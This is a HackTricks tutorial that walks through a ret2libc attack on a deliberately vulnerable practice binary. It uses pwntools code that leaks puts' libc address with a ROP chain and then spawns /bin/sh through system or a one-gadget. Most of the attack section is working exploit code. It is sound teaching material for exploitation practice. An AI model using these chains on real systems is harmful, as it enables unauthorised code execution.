Leaking libc address with ROP - HackTricks

# Leaking libc address with ROP

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Quick Resume

1. Find overflow offset
2. Find `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo leak the memory address of puts or another libc function and find the libc version (donwload it)
4. With the library, calculate the ROP and exploit it

## Other tutorials and binaries to practice

This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Another useful tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

## Code

Filename: `vuln.c`

    #include <stdio.h>

    int main() {
        char buffer[32];
        puts("Simple ROP.\n");
        gets(buffer);

        return 0;
    }

    gcc -o vuln vuln.c -fno-stack-protector -no-pie

## ROP - Leaking LIBC template

Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:

Leaking libc - template

## 1- Finding the offset

The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):

    ###################
    ### Find offset ###
    ###################
    OFFSET = ""#"A"*72
    if OFFSET == "":
        gdb.attach(p.pid, "c") #Attach and continue
        payload = cyclic(1000)
        print(r.clean())
        r.sendline(payload)
        #x/wx $rsp -- Search for bytes that crashed the application
        #cyclic_find(0x6161616b) # Find the offset of those bytes
        return

Execute `python template.py` a GDB console will be opened with the program being crashed. Inside that GDB console execute `x/wx $rsp` to get the bytes that were going to overwrite the RIP. Finally get the offset using a python console:

    from pwn import *
    cyclic_find(0x6161616b)

After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.
`OFFSET = "A" * 40`

Another way would be to use: `pattern create 1000` -- execute until ret -- `pattern seach $rsp` from GEF.

## 2- Finding Gadgets

Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the libc being used, and later to launch the final exploit.

    PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
    MAIN_PLT = elf.symbols['main']
    POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
    RET = (rop.find_gadget(['ret']))[0]

    log.info("Main start: " + hex(MAIN_PLT))
    log.info("Puts plt: " + hex(PUTS_PLT))
    log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The `PUTS_PLT` is needed to call the function puts.
The `MAIN_PLT` is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation). It is used at the end of each ROP to call the program again.
The POP_RDI is needed to pass a parameter to the called function.

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

## 3- Finding libc library

Now is time to find which version of the libc library is being used. To do so we are going to leak the address in memory of the function `puts`and then we are going to search in which library version the puts version is in that address.

    def get_addr(func_name):
        FUNC_GOT = elf.got[func_name]
        log.info(func_name + " GOT @ " + hex(FUNC_GOT))
        # Create rop chain
        rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

        #Send our rop-chain payload
        #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
        print(p.clean()) # clean socket buffer (read all and print)
        p.sendline(rop1)

        #Parse leaked address
        recieved = p.recvline().strip()
        leak = u64(recieved.ljust(8, "\x00"))
        log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
        #If not libc yet, stop here
        if libc != "":
            libc.address = leak - libc.symbols[func_name] #Save libc base
            log.info("libc base @ %s" % hex(libc.address))

        return hex(leak)

    get_addr("puts") #Search for puts address in memmory to obtains libc base
    if libc == "":
        print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
        p.interactive()

To do so, the most important line of the executed code is:

    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

This will send some bytes util overwriting the RIP is possible: `OFFSET`.
Then, it will set the address of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the RDI registry. This is because we want to call puts passing it the address of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the RDI) so puts will read the content inside `PUTS_GOT` (the address of puts function in memory) and will print it out.
Finally, main function is called again so we can exploit the overflow again.

This way we have tricked puts function to print out the address in memory of the function puts (which is inside libc library). Now that we have that address we can search which libc version is being used.

As we are exploiting some local binary it is not needed to figure out which version of libc is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).
But, in a remote exploit case I will explain here how can you find it:

### 3.1- Searching for libc version (1)

You can search which library is being used in the web page: https://libc.blukat.me/
It will also allow you to download the discovered version of libc

### 3.2- Searching for libc version (2)

You can also do:

- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`

This will take some time, be patient.
For this to work we need:

- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`

We can figure out which libc that is most likely used.

    ./find puts 0x7ff629878690
    ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
    archive-glibc (id libc6_2.23-0ubuntu11_amd64)

We get 2 matches (you should try the second one if the first one is not working). Download the first one:

    ./download libc6_2.23-0ubuntu10_amd64
    Getting libc6_2.23-0ubuntu10_amd64
      -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
      -> Downloading package
      -> Extracting package
      -> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.

### 3.3- Other functions to leak

    puts
    printf
    __libc_start_main
    read
    gets

## 4- Finding based libc address & exploiting

At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`

So, at the beginning of `template.py` change the libc variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`

Giving the path to the libc library the rest of the exploit is going to be automatically calculated.

Inside the `get_addr`function the base address of libc is going to be calculated:

    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))

> [!NOTE] Note that final libc base address must end in 00. If that's not your case you might have leaked an incorrect library.

Then, the address to the function `system` and the address to the string "/bin/sh" are going to be calculated from the base address of libc and given the libc library.

    BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
    SYSTEM = libc.sym["system"]
    EXIT = libc.sym["exit"]

    log.info("bin/sh %s " % hex(BINSH))
    log.info("system %s " % hex(SYSTEM))

Finally, the /bin/sh execution exploit is going to be prepared sent:

    rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

    p.clean()
    p.sendline(rop2)

    #### Interact with the shell #####
    p.interactive() #Interact with the conenction

Let's explain this final ROP.
The last ROP (`rop1`) ended calling again the main function, then we can exploit again the overflow (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the addres of "/bin/sh" (`BINSH`) and call system function (`SYSTEM`) because the address of "/bin/sh" will be passed as a parameter.
Finally, the address of exit function is called so the process exists nicely and any alert is generated.

This way the exploit will execute a _/bin/sh_** shell.**

## 4(2)- Using ONE_GADGET

You could also use ONE_GADGET to obtain a shell instead of using system and "/bin/sh". ONE_GADGET will find inside the libc library some way to obtain a shell using just one ROP address.
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the RSP you just have to send some more NULL values so the constrain is avoided.

    ONE_GADGET = libc.address + 0x4526a
    rop2 = base + p64(ONE_GADGET) + "\x00"*100

## EXPLOIT FILE

You can find a template to exploit this vulnerability here:

Leaking libc - template

## Common problems

### MAIN_PLT = elf.symbols['main'] not found

If the "main" symbol does not exist. Then you can find where is the main code:

    objdump -d vuln_binary | grep "\.text"
    Disassembly of section .text:
    0000000000401080 <.text>:

and set the address manually:

    MAIN_PLT = 0x401080

### Puts not found

If the binary is not using Puts you should check if it is using

### `sh: 1: %s%s%s%s%s%s%s%s: not found`

If you find this error after creating all the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`

Try to subtract 64 bytes to the address of "/bin/sh":

    BINSH = next(libc.search("/bin/sh")) - 64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.